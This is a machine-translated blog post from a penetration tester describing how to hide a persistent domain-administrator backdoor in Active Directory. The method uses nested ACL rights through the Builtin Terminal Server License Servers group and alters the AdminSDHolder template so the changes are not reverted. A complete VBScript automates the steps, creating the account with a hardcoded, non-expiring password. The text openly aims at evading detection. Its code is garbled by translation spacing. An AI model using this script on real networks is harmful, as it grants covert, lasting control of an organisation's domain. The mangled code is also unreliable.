10:42 Backdoor in active directory | |
| At one time, less than a year ago, Habre flashed publication with the same title [1]. In it the author offers a way of concealing the domain administrator privileges by using as a container for placing a "hidden" account, a service repository «Program data», in conjunction with aggressive differentiation of the rights to prevent access to "hidden" account. However, despite assurances by the author, the discovery of "hidden" account, and its subsequent removal could be carried out in just a few clicks. 1. Detection and escaping the account (despite the assurances of the inverse of the author [1]). 2. Remove traces of the directory Active Directory. Ie proposed approach in practice will not be functional. But perhaps there is a more suitable alternative to this method (including, without use of rootkits on the domain controllers:))? Due to the fact that my work is directly related to conduct penetration testing, this issue some time spinning in my head. And spun before the moment until it took one of my ongoing work to remain unnoticed for a long time, while remaining administrator and the enterprise and the condition to minimize the impact on information system. As one famous writer of detective novels: Where should I hide the list? In the autumn woods! Where best to hide the stone? At the beach! And where best to hide the corpse? In the field of battle. Drawing a parallel with the directory domain, you can use the following strategies: id backdoor is better not to hide, and keep in a container with a high concentration of the other user IDs. At the same time created an identifier should be as similar to most ordinary corporate account. Id backdoor should not directly be a member of the group with elevated privileges on the domain. It is better to use the opportunity of access control, as shown in the picture below. It is not reasonable to "shine" backdoor user ID, even in access control lists in groups with elevated privileges on the domain. More sensible approach - expanding privileges security groups, which are already in the ACLs access control lists in groups with elevated privileges on the domain. For this purpose, well suited group «Builtin \ Terminal Server License Servers»: So, to effectively create a backdoor on the scenario described above, requires: 1. Create a flea user 2. Allow this user to modify the list of group members «Builtin \ Terminal Server License Servers»; 3. Allow the group «Builtin \ Terminal Server License Servers» change the list of group members, for example, «Domain Admins». It is worth noting a little more nuance. Just like that change the access control list for the group «Domain Admins» will not work. The fact that the architecture of Active Directory provides for protection of access control lists of the most sensitive sites (adminSDHolder, [2]), including: Enterprise Admins Schema Admins Domain Admins Administrators Domain Controllers Cert Publishers Backup Operators Replicator Server Operators Account Operators Print Operators In order for your changes to the list access control groups listed above are not overwritten every hour, is required either to change the template ACL on the object «CN = AdminSDHolder, CN = System,», or set the attribute «adminCount» to zero for the desired object [3]. Overwrite template ACL seems to me more promising because not every administrator is familiar with such "defensive" mechanism for Active Directory. To automate the "Bookmarks" in Active Directory can use the script, which is shown below. On Error Resume Next 'user name and password username = "PT" password = "P @ ssw0rd" ' organizational unit, which will create a user userDN = "cn = Users" 'group, which is already contained in the ACLs of the group Domain Admins joinGroupDN = "cn = Terminal Server License Servers, cn = Builtin" joinGroup = "BUILTIN \ Terminal Server License Servers" 'Administrators Group adminsGroup = "CN = Domain Admins, CN = Users" Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN Set objSysInfo = CreateObject ("ADSystemInfo") strUserDN = objSysInfo.userName Set objUser = GetObject ("LDAP: / /" & strUserDN) Set objRoot = GetObject ("LDAP: / / rootDSE ") Set objContainer = GetObject (" LDAP: / / "& userDN &", "& objRoot.Get (" defaultNamingContext ")) 'Create a user Set objUserCreate = objContainer . Create ("User", "cn =" & username) objUserCreate.Put "sAMAccountName", username objUserCreate.SetInfo On Error Resume Next 'Set password will live forever;) objUserCreate.SetPassword password objUserCreate.Put "userAccountControl", 66048 objUserCreate.SetInfo On Error Resume Next 'allowed to create a user to modify the list group members Terminal Server License Servers GroupAddAce joinGroupDN, username 'allow members of Terminal Server License Servers modify the list of members of the group Domain Admins GroupAddAce adminsGroup, joinGroup ' Change the "protective" pattern ACL security for a similar resolution is higher GroupAddAce "CN = AdminSDHolder, CN = System", joinGroup Function GroupAddAce (toGroup, forGroup) Dim objSdUtil, objSD, objDACL, objAce Set objGroup = GetObject ("LDAP: / /" & toGroup & "," & objRoot.Get ("defaultNamingContext")) Set objSdUtil = GetObject (objGroup.ADsPath) Set objSD = objSdUtil.Get ( "ntSecurityDescriptor") Set objDACL = objSD.DiscretionaryACL Set objAce = CreateObject ("AccessControlEntry") objAce.Trustee = forGroup objAce.AceFlags = 0 objAce . AceType = 5 objAce.AccessMask = 32 objAce.Flags = 1 objAce.ObjectType = "{BF9679C0-0DE6-11D0-A285-00AA003049E2}" objDacl.AddAce objAce objSD.DiscretionaryAcl = objDacl objSDUtil.Put "ntSecurityDescriptor", Array (objSD) objSDUtil.SetInfo End Function One need only add that, despite its simplicity, to detect such a bookmark with no means of continuous automated monitoring is difficult. And you might think the idea of ??developing in the direction of more sophisticated bookmarks, for example, allow the user to manage Group Policy for the OU, containing the domain controllers, etc. | |
|
| |
| Total comments: 0 | |